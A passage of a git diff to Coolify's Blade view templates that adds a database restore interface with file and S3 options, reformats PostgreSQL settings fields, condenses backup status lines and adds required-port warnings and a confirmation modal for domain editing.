-            <div class="container w-full mx-auto" x-show="$wire.importRunning">
-                <livewire:activity-monitor header="Database Restore Output" :showWaiting="false" />
+
+            {{-- Restore Type Selection Boxes --}}
+            <h3 class="pt-6">Choose Restore Method</h3>
+            <div class="flex gap-4 pt-2">
+                <div @click="restoreType = 'file'"
+                     class="flex-1 p-6 border-2 rounded-sm cursor-pointer transition-all"
+                     :class="restoreType === 'file' ? 'border-warning bg-warning/10' : 'border-neutral-200 dark:border-neutral-800 hover:border-warning/50'">
+                    <div class="flex flex-col gap-2">
+                        <svg xmlns="http://www.w3.org/2000/svg" class="w-8 h-8" fill="none" viewBox="0 0 24 24" stroke="currentColor">
+                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M7 16a4 4 0 01-.88-7.903A5 5 0 1115.9 6L16 6a5 5 0 011 9.9M15 13l-3-3m0 0l-3 3m3-3v12" />
+                        </svg>
+                        <h4 class="text-lg font-bold">Restore from File</h4>
+                        <p class="text-sm text-neutral-600 dark:text-neutral-400">Upload a backup file or specify a file path on the server</p>
+                    </div>
+                </div>
+
+                @if ($availableS3Storages->count() > 0)
+                    <div @click="restoreType = 's3'"
+                         class="flex-1 p-6 border-2 rounded-sm cursor-pointer transition-all"
+                         :class="restoreType === 's3' ? 'border-warning bg-warning/10' : 'border-neutral-200 dark:border-neutral-800 hover:border-warning/50'">
+                        <div class="flex flex-col gap-2">
+                            <svg xmlns="http://www.w3.org/2000/svg" class="w-8 h-8" fill="none" viewBox="0 0 24 24" stroke="currentColor">
+                                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M3 15a4 4 0 004 4h9a5 5 0 10-.1-9.999 5.002 5.002 0 10-9.78 2.096A4.001 4.001 0 003 15z" />
+                            </svg>
+                            <h4 class="text-lg font-bold">Restore from S3</h4>
+                            <p class="text-sm text-neutral-600 dark:text-neutral-400">Download and restore a backup from S3 storage</p>
+                        </div>
+                    </div>
+                @endif
             </div>
+
+            {{-- File Restore Section --}}
+            @can('update', $resource)
+                <div x-show="restoreType === 'file'" class="pt-6">
+                    <h3>Backup File</h3>
+                    <form class="flex gap-2 items-end pt-2">
+                        <x-forms.input label="Location of the backup file on the server" placeholder="e.g. /home/user/backup.sql.gz"
+                            wire:model='customLocation' x-model="$wire.customLocation"></x-forms.input>
+                        <x-forms.button class="w-full" wire:click='checkFile' x-bind:disabled="!$wire.customLocation">Check File</x-forms.button>
+                    </form>
+                    <div class="pt-2 text-center text-xl font-bold">
+                        Or
+                    </div>
+                    <form action="/upload/backup/{{ $resource->uuid }}" class="dropzone" id="my-dropzone" wire:ignore>
+                        @csrf
+                    </form>
+                    <div x-show="isUploading">
+                        <progress max="100" x-bind:value="progress" class="progress progress-warning"></progress>
+                    </div>
+
+                    <div x-show="filename && !error" class="pt-6">
+                        <h3>File Information</h3>
+                        <div class="pt-2">Location: <span x-text="filename ?? 'N/A'"></span><span x-show="filesize" x-text="' / ' + filesize"></span></div>
+                        <div class="pt-2">
+                            <x-modal-confirmation title="Restore Database from File?" buttonTitle="Restore from File"
+                                submitAction="runImport" isErrorButton>
+                                <x-slot:button-title>
+                                    Restore Database from File
+                                </x-slot:button-title>
+                                This will perform the following actions:
+                                <ul class="list-disc list-inside pt-2">
+                                    <li>Copy backup file to database container</li>
+                                    <li>Execute restore command</li>
+                                </ul>
+                                <div class="pt-2 font-bold text-error">WARNING: This will REPLACE all existing data!</div>
+                            </x-modal-confirmation>
+                        </div>
+                    </div>
+                </div>
+            @endcan
+
+            {{-- S3 Restore Section --}}
+            @if ($availableS3Storages->count() > 0)
+                @can('update', $resource)
+                    <div x-show="restoreType === 's3'" class="pt-6">
+                        <h3>Restore from S3</h3>
+                        <div class="flex flex-col gap-2 pt-2">
+                            <x-forms.select label="S3 Storage" wire:model.live="s3StorageId">
+                                <option value="">Select S3 Storage</option>
+                                @foreach ($availableS3Storages as $storage)
+                                    <option value="{{ $storage->id }}">{{ $storage->name }}
+                                        @if ($storage->description)
+                                            - {{ $storage->description }}
+                                        @endif
+                                    </option>
+                                @endforeach
+                            </x-forms.select>
+
+                            <x-forms.input label="S3 File Path (within bucket)"
+                                helper="Path to the backup file in your S3 bucket, e.g., /backups/database-2025-01-15.gz"
+                                placeholder="/backups/database-backup.gz" wire:model.blur='s3Path'
+                                wire:keydown.enter='checkS3File'></x-forms.input>
+
+                            <div class="flex gap-2">
+                                <x-forms.button class="w-full" wire:click='checkS3File' x-bind:disabled="!s3StorageId || !s3Path">
+                                    Check File
+                                </x-forms.button>
+                            </div>
+
+                            @if ($s3FileSize)
+                                <div class="pt-6">
+                                    <h3>File Information</h3>
+                                    <div class="pt-2">Location: {{ $s3Path }} {{ formatBytes($s3FileSize ?? 0) }}</div>
+                                    <div class="pt-2">
+                                        <x-modal-confirmation title="Restore Database from S3?" buttonTitle="Restore from S3"
+                                            submitAction="restoreFromS3" isErrorButton>
+                                            <x-slot:button-title>
+                                                Restore Database from S3
+                                            </x-slot:button-title>
+                                            This will perform the following actions:
+                                            <ul class="list-disc list-inside pt-2">
+                                                <li>Download backup from S3 storage</li>
+                                                <li>Copy file into database container</li>
+                                                <li>Execute restore command</li>
+                                            </ul>
+                                            <div class="pt-2 font-bold text-error">WARNING: This will REPLACE all existing data!</div>
+                                        </x-modal-confirmation>
+                                    </div>
+                                </div>
+                            @endif
+                        </div>
+                    </div>
+                @endcan
+            @endif
+
+            {{-- Slide-over for activity monitor (all restore operations) --}}
+            <x-slide-over @databaserestore.window="slideOverOpen = true" closeWithX fullScreen>
+                <x-slot:title>Database Restore Output</x-slot:title>
+                <x-slot:content>
+                    <livewire:activity-monitor wire:key="database-restore-{{ $resource->uuid }}" header="Logs" fullHeight />
+                </x-slot:content>
+            </x-slide-over>
         @else
             <div>Database must be running to restore a backup.</div>
         @endif
     @endif
-</div>
+</div>
\ No newline at end of file
diff --git a/resources/views/livewire/project/database/postgresql/general.blade.php b/resources/views/livewire/project/database/postgresql/general.blade.php
index 290d18fca..9c378a33f 100644
--- a/resources/views/livewire/project/database/postgresql/general.blade.php
+++ b/resources/views/livewire/project/database/postgresql/general.blade.php
@@ -31,11 +31,11 @@
         </div>
         @if ($database->started_at)
             <div class="flex xl:flex-row flex-col gap-2">
-                <x-forms.input label="Username" id="postgresUser" placeholder="If empty: postgres"
-                    canGate="update" :canResource="$database"
+                <x-forms.input label="Username" id="postgresUser" placeholder="If empty: postgres" canGate="update"
+                    :canResource="$database"
                     helper="If you change this in the database, please sync it here, otherwise automations (like backups) won't work." />
-                <x-forms.input label="Password" id="postgresPassword" type="password" required
-                    canGate="update" :canResource="$database"
+                <x-forms.input label="Password" id="postgresPassword" type="password" required canGate="update"
+                    :canResource="$database"
                     helper="If you change this in the database, please sync it here, otherwise automations (like backups) won't work." />
                 <x-forms.input label="Initial Database" id="postgresDb"
                     placeholder="If empty, it will be the same as Username." readonly
@@ -43,19 +43,19 @@
             </div>
         @else
             <div class="flex xl:flex-row flex-col gap-2 pb-2">
-                <x-forms.input label="Username" id="postgresUser" placeholder="If empty: postgres"
-                    canGate="update" :canResource="$database" />
-                <x-forms.input label="Password" id="postgresPassword" type="password" required
-                    canGate="update" :canResource="$database" />
+                <x-forms.input label="Username" id="postgresUser" placeholder="If empty: postgres" canGate="update"
+                    :canResource="$database" />
+                <x-forms.input label="Password" id="postgresPassword" type="password" required canGate="update"
+                    :canResource="$database" />
                 <x-forms.input label="Initial Database" id="postgresDb"
                     placeholder="If empty, it will be the same as Username." canGate="update" :canResource="$database" />
             </div>
         @endif
         <div class="flex gap-2">
-            <x-forms.input label="Initial Database Arguments" canGate="update" :canResource="$database"
-                id="postgresInitdbArgs" placeholder="If empty, use default. See in docker docs." />
-            <x-forms.input label="Host Auth Method" canGate="update" :canResource="$database"
-                id="postgresHostAuthMethod" placeholder="If empty, use default. See in docker docs." />
+            <x-forms.input label="Initial Database Arguments" canGate="update" :canResource="$database" id="postgresInitdbArgs"
+                placeholder="If empty, use default. See in docker docs." />
+            <x-forms.input label="Host Auth Method" canGate="update" :canResource="$database" id="postgresHostAuthMethod"
+                placeholder="If empty, use default. See in docker docs." />
         </div>
         <x-forms.input
             helper="You can add custom docker run options that will be used when your container is started.<br>Note: Not all options are supported, as they could mess up Coolify's automation and could cause bad experience for users.<br><br>Check the <a class='underline dark:text-white' href='https://coolify.io/docs/knowledge-base/docker/custom-commands'>docs.</a>"
@@ -107,20 +107,19 @@
             <div class="flex flex-col gap-2">
                 <div class="w-64" wire:key='enable_ssl'>
                     @if ($database->isExited())
-                        <x-forms.checkbox id="enableSsl" label="Enable SSL"
-                            wire:model.live="enableSsl" instantSave="instantSaveSSL" canGate="update"
-                            :canResource="$database" />
+                        <x-forms.checkbox id="enableSsl" label="Enable SSL" wire:model.live="enableSsl"
+                            instantSave="instantSaveSSL" canGate="update" :canResource="$database" />
                     @else
-                        <x-forms.checkbox id="enableSsl" label="Enable SSL"
-                            wire:model.live="enableSsl" instantSave="instantSaveSSL" disabled
+                        <x-forms.checkbox id="enableSsl" label="Enable SSL" wire:model.live="enableSsl"
+                            instantSave="instantSaveSSL" disabled
                             helper="Database should be stopped to change this settings." />
                     @endif
                 </div>
                 @if ($enableSsl)
                     <div class="mx-2">
                         @if ($database->isExited())
-                            <x-forms.select id="sslMode" label="SSL Mode"
-                                wire:model.live="sslMode" instantSave="instantSaveSSL"
+                            <x-forms.select id="sslMode" label="SSL Mode" wire:model.live="sslMode"
+                                instantSave="instantSaveSSL"
                                 helper="Choose the SSL verification mode for PostgreSQL connections" canGate="update"
                                 :canResource="$database">
                                 <option value="allow" title="Allow insecure connections">allow (insecure)</option>
@@ -131,8 +130,8 @@
                                 </option>
                             </x-forms.select>
                         @else
-                            <x-forms.select id="sslMode" label="SSL Mode" instantSave="instantSaveSSL"
-                                disabled helper="Database should be stopped to change this settings.">
+                            <x-forms.select id="sslMode" label="SSL Mode" instantSave="instantSaveSSL" disabled
+                                helper="Database should be stopped to change this settings.">
                                 <option value="allow" title="Allow insecure connections">allow (insecure)</option>
                                 <option value="prefer" title="Prefer secure connections">prefer (secure)</option>
                                 <option value="require" title="Require secure connections">require (secure)</option>
@@ -164,22 +163,24 @@
                         <x-forms.checkbox instantSave id="isPublic" label="Make it publicly available"
                             canGate="update" :canResource="$database" />
                     </div>
-                    <x-forms.input placeholder="5432" disabled="{{ $isPublic }}"
-                        id="publicPort" label="Public Port" canGate="update" :canResource="$database" />
+                    <x-forms.input placeholder="5432" disabled="{{ $isPublic }}" id="publicPort"
+                        label="Public Port" canGate="update" :canResource="$database" />
                 </div>
 
                 <div class="flex flex-col gap-2">
-                    <x-forms.textarea label="Custom PostgreSQL Configuration" rows="10"
-                        id="postgresConf" canGate="update" :canResource="$database" />
+                    <x-forms.textarea label="Custom PostgreSQL Configuration" rows="10" id="postgresConf"
+                        canGate="update" :canResource="$database" />
                 </div>
+            </div>
+        </div>
     </form>
 
     <div class="flex flex-col gap-4 pt-4">
         <h3>Advanced</h3>
         <div class="flex flex-col">
             <x-forms.checkbox helper="Drain logs to your configured log drain endpoint in your Server settings."
-                instantSave="instantSaveAdvanced" id="isLogDrainEnabled" label="Drain Logs"
-                canGate="update" :canResource="$database" />
+                instantSave="instantSaveAdvanced" id="isLogDrainEnabled" label="Drain Logs" canGate="update"
+                :canResource="$database" />
         </div>
 
         <div class="pb-16">
diff --git a/resources/views/livewire/project/database/scheduled-backups.blade.php b/resources/views/livewire/project/database/scheduled-backups.blade.php
index c0b8647b2..0d4b58972 100644
--- a/resources/views/livewire/project/database/scheduled-backups.blade.php
+++ b/resources/views/livewire/project/database/scheduled-backups.blade.php
@@ -70,32 +70,32 @@ class="px-3 py-1 rounded-md text-xs font-medium tracking-wide shadow-xs bg-gray-
                         </div>
                         <div class="text-gray-600 dark:text-gray-400 text-sm">
                             @if ($backup->latest_log)
-                                Started:
-                                {{ formatDateInServerTimezone(data_get($backup->latest_log, 'created_at'), $backup->server()) }}
-                                @if (data_get($backup->latest_log, 'status') !== 'running')
-                                    <br>Ended:
-                                    {{ formatDateInServerTimezone(data_get($backup->latest_log, 'finished_at'), $backup->server()) }}
-                                    <br>Duration:
-                                    {{ calculateDuration(data_get($backup->latest_log, 'created_at'), data_get($backup->latest_log, 'finished_at')) }}
-                                    <br>Finished
-                                    {{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->diffForHumans() }}
-                                @endif
-                                @if ($backup->save_s3)
-                                    <br>S3 Storage: Enabled
+                                @if (data_get($backup->latest_log, 'status') === 'running')
+                                    <span title="Started: {{ formatDateInServerTimezone(data_get($backup->latest_log, 'created_at'), $backup->server()) }}">
+                                        Running for {{ calculateDuration(data_get($backup->latest_log, 'created_at'), now()) }}
+                                    </span>
+                                @else
+                                    <span title="Started: {{ formatDateInServerTimezone(data_get($backup->latest_log, 'created_at'), $backup->server()) }}&#10;Ended: {{ formatDateInServerTimezone(data_get($backup->latest_log, 'finished_at'), $backup->server()) }}">
+                                        {{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->diffForHumans() }}
+                                        ({{ calculateDuration(data_get($backup->latest_log, 'created_at'), data_get($backup->latest_log, 'finished_at')) }})
+                                        • {{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->format('M j, H:i') }}
+                                    </span>
                                 @endif
                                 @if (data_get($backup->latest_log, 'status') === 'success')
                                     @php
                                         $size = data_get($backup->latest_log, 'size', 0);
-                                        $sizeFormatted =
-                                            $size > 0 ? number_format($size / 1024 / 1024, 2) . ' MB' : 'Unknown';
                                     @endphp
-                                    <br>Last Backup Size: {{ $sizeFormatted }}
+                                    @if ($size > 0)
+                                        • Size: {{ formatBytes($size) }}
+                                    @endif
+                                @endif
+                                @if ($backup->save_s3)
+                                    • S3: Enabled
                                 @endif
                             @else
-                                Last Run: Never
-                                <br>Total Executions: 0
+                                Last Run: Never • Total Executions: 0
                                 @if ($backup->save_s3)
-                                    <br>S3 Storage: Enabled
+                                    • S3: Enabled
                                 @endif
                             @endif
                         </div>
@@ -154,27 +154,36 @@ class="px-3 py-1 rounded-md text-xs font-medium tracking-wide shadow-xs bg-gray-
                         </div>
                         <div class="text-gray-600 dark:text-gray-400 text-sm">
                             @if ($backup->latest_log)
-                                Started:
-                                {{ formatDateInServerTimezone(data_get($backup->latest_log, 'created_at'), $backup->server()) }}
-                                @if (data_get($backup->latest_log, 'status') !== 'running')
-                                    <br>Ended:
-                                    {{ formatDateInServerTimezone(data_get($backup->latest_log, 'finished_at'), $backup->server()) }}
-                                    <br>Duration:
-                                    {{ calculateDuration(data_get($backup->latest_log, 'created_at'), data_get($backup->latest_log, 'finished_at')) }}
-                                    <br>Finished
-                                    {{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->diffForHumans() }}
+                                @if (data_get($backup->latest_log, 'status') === 'running')
+                                    <span title="Started: {{ formatDateInServerTimezone(data_get($backup->latest_log, 'created_at'), $backup->server()) }}">
+                                        Running for {{ calculateDuration(data_get($backup->latest_log, 'created_at'), now()) }}
+                                    </span>
+                                @else
+                                    <span title="Started: {{ formatDateInServerTimezone(data_get($backup->latest_log, 'created_at'), $backup->server()) }}&#10;Ended: {{ formatDateInServerTimezone(data_get($backup->latest_log, 'finished_at'), $backup->server()) }}">
+                                        {{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->diffForHumans() }}
+                                        ({{ calculateDuration(data_get($backup->latest_log, 'created_at'), data_get($backup->latest_log, 'finished_at')) }})
+                                        • {{ \Carbon\Carbon::parse(data_get($backup->latest_log, 'finished_at'))->format('M j, H:i') }}
+                                    </span>
+                                @endif
+                                @if (data_get($backup->latest_log, 'status') === 'success')
+                                    @php
+                                        $size = data_get($backup->latest_log, 'size', 0);
+                                    @endphp
+                                    @if ($size > 0)
+                                        • Size: {{ formatBytes($size) }}
+                                    @endif
                                 @endif
-                                <br><br>Total Executions: {{ $backup->executions()->count() }}
                                 @if ($backup->save_s3)
-                                    <br>S3 Storage: Enabled
+                                    • S3: Enabled
                                 @endif
+                                <br>Total Executions: {{ $backup->executions()->count() }}
                                 @php
                                     $successCount = $backup->executions()->where('status', 'success')->count();
                                     $totalCount = $backup->executions()->count();
                                     $successRate = $totalCount > 0 ? round(($successCount / $totalCount) * 100) : 0;
                                 @endphp
                                 @if ($totalCount > 0)
-                                    <br>Success Rate: <span @class([
+                                    • Success Rate: <span @class([
                                         'font-medium',
                                         'text-green-600' => $successRate >= 80,
                                         'text-yellow-600' => $successRate >= 50 && $successRate < 80,
@@ -182,19 +191,10 @@ class="px-3 py-1 rounded-md text-xs font-medium tracking-wide shadow-xs bg-gray-
                                     ])>{{ $successRate }}%</span>
                                     ({{ $successCount }}/{{ $totalCount }})
                                 @endif
-                                @if (data_get($backup->latest_log, 'status') === 'success')
-                                    @php
-                                        $size = data_get($backup->latest_log, 'size', 0);
-                                        $sizeFormatted =
-                                            $size > 0 ? number_format($size / 1024 / 1024, 2) . ' MB' : 'Unknown';
-                                    @endphp
-                                    <br>Last Backup Size: {{ $sizeFormatted }}
-                                @endif
                             @else
-                                Last Run: Never
-                                <br>Total Executions: 0
+                                Last Run: Never • Total Executions: 0
                                 @if ($backup->save_s3)
-                                    <br>S3 Storage: Enabled
+                                    • S3: Enabled
                                 @endif
                             @endif
                         </div>
diff --git a/resources/views/livewire/project/resource/index.blade.php b/resources/views/livewire/project/resource/index.blade.php
index 807eb89b4..545c368a3 100644
--- a/resources/views/livewire/project/resource/index.blade.php
+++ b/resources/views/livewire/project/resource/index.blade.php
@@ -118,7 +118,7 @@ class="grid grid-cols-1 gap-4 pt-4 lg:grid-cols-2 xl:grid-cols-3">
                                 <div class="max-w-full px-4 truncate box-description" x-text="item.description"></div>
                                 <div class="max-w-full px-4 truncate box-description" x-text="item.fqdn"></div>
                                 <template x-if="item.server_status == false">
-                                    <div class="px-4 text-xs font-bold text-error">The underlying server has problems
+                                    <div class="px-4 text-xs font-bold text-error">Server is unreachable or misconfigured
                                     </div>
                                 </template>
                             </div>
@@ -167,7 +167,7 @@ class="grid grid-cols-1 gap-4 pt-4 lg:grid-cols-2 xl:grid-cols-3">
                                 <div class="max-w-full px-4 truncate box-description" x-text="item.description"></div>
                                 <div class="max-w-full px-4 truncate box-description" x-text="item.fqdn"></div>
                                 <template x-if="item.server_status == false">
-                                    <div class="px-4 text-xs font-bold text-error">The underlying server has problems
+                                    <div class="px-4 text-xs font-bold text-error">Server is unreachable or misconfigured
                                     </div>
                                 </template>
                             </div>
@@ -216,7 +216,7 @@ class="grid grid-cols-1 gap-4 pt-4 lg:grid-cols-2 xl:grid-cols-3">
                                 <div class="max-w-full px-4 truncate box-description" x-text="item.description"></div>
                                 <div class="max-w-full px-4 truncate box-description" x-text="item.fqdn"></div>
                                 <template x-if="item.server_status == false">
-                                    <div class="px-4 text-xs font-bold text-error">The underlying server has problems
+                                    <div class="px-4 text-xs font-bold text-error">Server is unreachable or misconfigured
                                     </div>
                                 </template>
                             </div>
diff --git a/resources/views/livewire/project/service/configuration.blade.php b/resources/views/livewire/project/service/configuration.blade.php
index 452808282..9b81e4bec 100644
--- a/resources/views/livewire/project/service/configuration.blade.php
+++ b/resources/views/livewire/project/service/configuration.blade.php
@@ -66,7 +66,7 @@
                                     @if ($application->fqdn)
                                         <span class="flex gap-1 text-xs">{{ Str::limit($application->fqdn, 60) }}
                                             @can('update', $service)
-                                                <x-modal-input title="Edit Domains" :closeOutside="false">
+                                                <x-modal-input title="Edit Domains" :closeOutside="false" minWidth="32rem" maxWidth="40rem">
                                                     <x-slot:content>
                                                         <span class="cursor-pointer">
                                                             <svg xmlns="http://www.w3.org/2000/svg"
@@ -90,7 +90,7 @@ class="w-4 h-4 dark:text-warning text-coollabs"
                                             @endcan
                                         </span>
                                     @endif
-                                    <div class="pt-2 text-xs">{{ $application->status }}</div>
+                                        <div class="pt-2 text-xs">{{ formatContainerStatus($application->status) }}</div>
                                 </div>
                                 <div class="flex items-center px-4">
                                     <a class="mx-4 text-xs font-bold hover:underline"
@@ -139,7 +139,7 @@ class="w-4 h-4 dark:text-warning text-coollabs"
                                     @if ($database->description)
                                         <span class="text-xs">{{ Str::limit($database->description, 60) }}</span>
                                     @endif
-                                    <div class="text-xs">{{ $database->status }}</div>
+                                        <div class="text-xs">{{ formatContainerStatus($database->status) }}</div>
                                 </div>
                                 <div class="flex items-center px-4">
                                     @if ($database->isBackupSolutionAvailable() || $database->is_migrated)
diff --git a/resources/views/livewire/project/service/edit-domain.blade.php b/resources/views/livewire/project/service/edit-domain.blade.php
index a126eca5b..0691146f6 100644
--- a/resources/views/livewire/project/service/edit-domain.blade.php
+++ b/resources/views/livewire/project/service/edit-domain.blade.php
@@ -1,7 +1,13 @@
 <div class="w-full">
     <form wire:submit.prevent='submit' class="flex flex-col w-full gap-2">
-        <div class="pb-2">Note: If a service has a defined port, do not delete it. <br>If you want to use your custom
-            domain, you can add it with a port.</div>
+        @if($requiredPort)
+            <x-callout type="warning" title="Required Port: {{ $requiredPort }}" class="mb-2">
+                This service requires port <strong>{{ $requiredPort }}</strong> to function correctly. All domains must include this port number (or any other port if you know what you're doing).
+                <br><br>
+                <strong>Example:</strong> http://app.coolify.io:{{ $requiredPort }}
+            </x-callout>
+        @endif
+
         <x-forms.input canGate="update" :canResource="$application" placeholder="https://app.coolify.io" label="Domains"
             id="fqdn"
             helper="You can specify one domain with path or more with comma. You can specify a port to bind the domain to.<br><br><span class='text-helper'>Example</span><br>- http://app.coolify.io,https://cloud.coolify.io/dashboard<br>- http://app.coolify.io/api/v3<br>- http://app.coolify.io:3000 -> app.coolify.io will point to port 3000 inside the container. "></x-forms.input>
@@ -18,4 +24,61 @@
             </ul>
         </x-slot:consequences>
     </x-domain-conflict-modal>
+
+    @if ($showPortWarningModal)
+        <div x-data="{ modalOpen: true }" x-init="$nextTick(() => { modalOpen = true })"
+            @keydown.escape.window="modalOpen = false; $wire.call('cancelRemovePort')"
+            :class="{ 'z-40': modalOpen }" class="relative w-auto h-auto">
+            <template x-teleport="body">
+                <div x-show="modalOpen"
+                    class="fixed top-0 lg:pt-10 left-0 z-99 flex items-start justify-center w-screen h-screen" x-cloak>
+                    <div x-show="modalOpen" class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
+                    <div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
+                        x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
+                        x-transition:enter-end="opacity-100 translate-y-0 sm:scale-100"
+                        x-transition:leave="ease-in duration-100"
+                        x-transition:leave-start="opacity-100 translate-y-0 sm:scale-100"
+                        x-transition:leave-end="opacity-0 -translate-y-2 sm:scale-95"
+                        class="relative w-full py-6 border rounded-sm min-w-full lg:min-w-[36rem] max-w-[48rem] bg-neutral-100 border-neutral-400 dark:bg-base px-7 dark:border-coolgray-300">
+                        <div class="flex justify-between items-center pb-3">
+                            <h2 class="pr-8 font-bold">Remove Required Port?</h2>
+                            <button @click="modalOpen = false; $wire.call('cancelRemovePort')"
+                                class="flex absolute top-2 right-2 justify-center items-center w-8 h-8 rounded-full dark:text-white hover:bg-coolgray-300">
+                                <svg class="w-6 h-6" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
+                                    stroke-width="1.5" stroke="currentColor">
+                                    <path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
+                                </svg>
+                            </button>
+                        </div>
+                        <div class="relative w-auto">
+                            <x-callout type="warning" title="Port Requirement Warning" class="mb-4">
+                                This service requires port <strong>{{ $requiredPort }}</strong> to function correctly.
+                                One or more of your domains are missing a port number.
+                            </x-callout>
+
+                            <x-callout type="danger" title="What will happen if you continue?" class="mb-4">
+                                <ul class="mt-2 ml-4 list-disc">
+                                    <li>The service may become unreachable</li>
+                                    <li>The proxy may not be able to route traffic correctly</li>
+                                    <li>Environment variables may not be generated properly</li>
+                                    <li>The service may fail to start or function</li>
+                                </ul>
+                            </x-callout>
+
+                            <div class="flex flex-wrap gap-2 justify-between mt-4">
+                                <x-forms.button @click="modalOpen = false; $wire.call('cancelRemovePort')"
+                                    class="w-auto dark:bg-coolgray-200 dark:hover:bg-coolgray-300">
+                                    Cancel - Keep Port
+                                </x-forms.button>
+                                <x-forms.button wire:click="confirmRemovePort" @click="modalOpen = false" class="w-auto"
+                                    isError>
+                                    I understand, remove port anyway
+                                </x-forms.button>
+                            </div>
+                        </div>
+                    </div>
+                </div>
+            </template>
+        </div>
+    @endif
 </div>
diff --git a/resources/views/livewire/project/service/heading.blade.php b/resources/views/livewire/project/service/heading.blade.php
index 73635d93a..bb1bfb0fc 100644
--- a/resources/views/livewire/project/service/heading.blade.php
+++ b/resources/views/livewire/project/service/heading.blade.php
@@ -34,7 +34,7 @@
                         <svg class="w-5 h-5 dark:text-warning" viewBox="0 0 24 24" xmlns="http://www.w3.org/2000/svg">
                             <g fill="none" stroke="currentColor" stroke-linecap="round" stroke-linejoin="round"
                                 stroke-width="2">
-                                <path d="M19.933 13.041a8 8 0 1 1-9.925-8.788c3.899-1 7.935 1.007 9.425 4.747" />
+                                <path d="M19.933 13.041 a8 8 0 1 1-9.925-8.788c3.899-1 7.935 1.007 9.425 4.747" />
                                 <path d="M20 4v5h-5" />
                             </g>
                         </svg>
diff --git a/resources/views/livewire/project/service/service-application-view.blade.php b/resources/views/livewire/project/service/service-application-view.blade.php
index b95dc6540..5fb4a62d0 100644
--- a/resources/views/livewire/project/service/service-application-view.blade.php
+++ b/resources/views/livewire/project/service/service-application-view.blade.php
@@ -22,6 +22,14 @@
             @endcan
         </div>
         <div class="flex flex-col gap-2">
+            @if($requiredPort && !$application->serviceType()?->contains(str($application->image)->before(':')))
+                <x-callout type="warning" title="Required Port: {{ $requiredPort }}" class="mb-2">
+                    This service requires port <strong>{{ $requiredPort }}</strong> to function correctly. All domains must include this port number (or any other port if you know what you're doing).
+                    <br><br>
+                    <strong>Example:</strong> http://app.coolify.io:{{ $requiredPort }}
+                </x-callout>
+            @endif
+
             <div class="flex gap-2">
                 <x-forms.input canGate="update" :canResource="$application" label="Name" id="humanName"
                     placeholder="Human readable name"></x-forms.input>
@@ -68,9 +76,9 @@
         </div>
     </form>
     
-    <x-domain-conflict-modal 
-        :conflicts="$domainConflicts" 
-        :showModal="$showDomainConflictModal" 
+    <x-domain-conflict-modal
+        :conflicts="$domainConflicts"
+        :showModal="$showDomainConflictModal"
         confirmAction="confirmDomainUsage">
         <x-slot:consequences>
             <ul class="mt-2 ml-4 list-disc">
@@ -81,4 +89,61 @@
             </ul>
         </x-slot:consequences>
     </x-domain-conflict-modal>
+
+    @if ($showPortWarningModal)
+        <div x-data="{ modalOpen: true }" x-init="$nextTick(() => { modalOpen = true })"
+            @keydown.escape.window="modalOpen = false; $wire.call('cancelRemovePort')"
+            :class="{ 'z-40': modalOpen }" class="relative w-auto h-auto">
+            <template x-teleport="body">
+                <div x-show="modalOpen"
+                    class="fixed top-0 lg:pt-10 left-0 z-99 flex items-start justify-center w-screen h-screen" x-cloak>
+                    <div x-show="modalOpen" class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
+                    <div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
+                        x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
+                        x-transition:enter-end="opacity-100 translate-y-0 sm:scale-100"
+                        x-transition:leave="ease-in duration-100"
+                        x-transition:leave-start="opacity-100 translate-y-0 sm:scale-100"
+                        x-transition:leave-end="opacity-0 -translate-y-2 sm:scale-95"
+                        class="relative w-full py-6 border rounded-sm min-w-full lg:min-w-[36rem] max-w-[48rem] bg-neutral-100 border-neutral-400 dark:bg-base px-7 dark:border-coolgray-300">
+                        <div class="flex justify-between items-center pb-3">
+                            <h2 class="pr-8 font-bold">Remove Required Port?</h2>
+                            <button @click="modalOpen = false; $wire.call('cancelRemovePort')"
+                                class="flex absolute top-2 right-2 justify-center items-center w-8 h-8 rounded-full dark:text-white hover:bg-coolgray-300">
+                                <svg class="w-6 h-6" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
+                                    stroke-width="1.5" stroke="currentColor">
+                                    <path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
+                                </svg>
+                            </button>
+                        </div>
+                        <div class="relative w-auto">
+                            <x-callout type="warning" title="Port Requirement Warning" class="mb-4">
+                                This service requires port <strong>{{ $requiredPort }}</strong> to function correctly.
+                                One or more of your domains are missing a port number.
+                            </x-callout>
+
+                            <x-callout type="danger" title="What will happen if you continue?" class="mb-4">
+                                <ul class="mt-2 ml-4 list-disc">
+                                    <li>The service may become unreachable</li>
+                                    <li>The proxy may not be able to route traffic correctly</li>
+                                    <li>Environment variables may not be generated properly</li>
+                                    <li>The service may fail to start or function</li>
+                                </ul>
+                            </x-callout>
+
+                            <div class="flex flex-wrap gap-2 justify-between mt-4">
+                                <x-forms.button @click="modalOpen = false; $wire.call('cancelRemovePort')"
+                                    class="w-auto dark:bg-coolgray-200 dark:hover:bg-coolgray-300">
+                                    Cancel - Keep Port
+                                </x-forms.button>
+                                <x-forms.button wire:click="confirmRemovePort" @click="modalOpen = false" class="w-auto"
+                                    isError>
+                                    I understand, remove port anyway
+                                </x-forms.button>
+                            </div>
+                        </div>
+                    </div>
+                </div>
+            </template>
+        </div>
+    @endif
 </div>
diff --git a/resources/views/livewire/project/shared/environment-variable/add.blade.php b/resources/views/livewire/project/shared/environment-variable/add.blade.php
index 353fe02de..9bc4f06a3 100644
--- a/resources/views/livewire/project/shared/environment-variable/add.blade.php
